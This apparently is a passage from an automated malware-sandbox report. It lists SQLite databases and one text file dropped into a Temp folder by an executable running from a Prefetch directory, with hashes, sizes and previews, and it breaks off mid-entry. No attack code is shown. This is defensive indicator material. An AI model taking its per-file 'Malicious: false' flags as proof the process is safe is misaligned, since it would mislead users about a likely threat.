SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FwIF30AGAo

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G35dQCmksf

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GDv3AE4xmU

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GKhVHuPD7j

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688185
Encrypted:	false
SSDEEP:	3:+NFn/5n:+NF/5
MD5:	FA322498694C055C413E794D968753F0
SHA1:	A002C11EE95BDF94506FFD4CDA443C3E78E65B27
SHA-256:	16E9DE9BB2F3D9BB026672589BBE99F0746BF144351729D7C1BAEEAC11C943DB
SHA-512:	9DD8E03EE1B3A140C6CF2DAD18336AD34C877F400D05F64ABD3788D361D992D82651727D545BF35815EC7D03A36A142A1A97810BEE93DA78174CC71E1E7BBAE7
Malicious:	false
Preview:	eKMwCKYlklxaYQNtBZgS8wKhT

C:\Users\user\AppData\Local\Temp\GKuwXuXE8C

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GUgn3EI5pd

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GcJMQD15X5

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GpoKSCezcz

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GqcwqXOahh

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GrH6UwtNCK

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H6A5OwnMM6

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HowWq2SlV5

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hsb434Ag5R

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HxB6eC7UvM

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HyEAMIfXxu

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I2cOwlVbag

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IKES7uIMdB

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IMMfyeK5SO

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IOgFaB2Gjc

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J203HxjA6A

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KHXkNzPvln

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KjL2JZRiHj

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Kp27H1GSFz

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KqAh4OxcmN

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LPGF0xt1DH

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LnYzImVnQ2

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
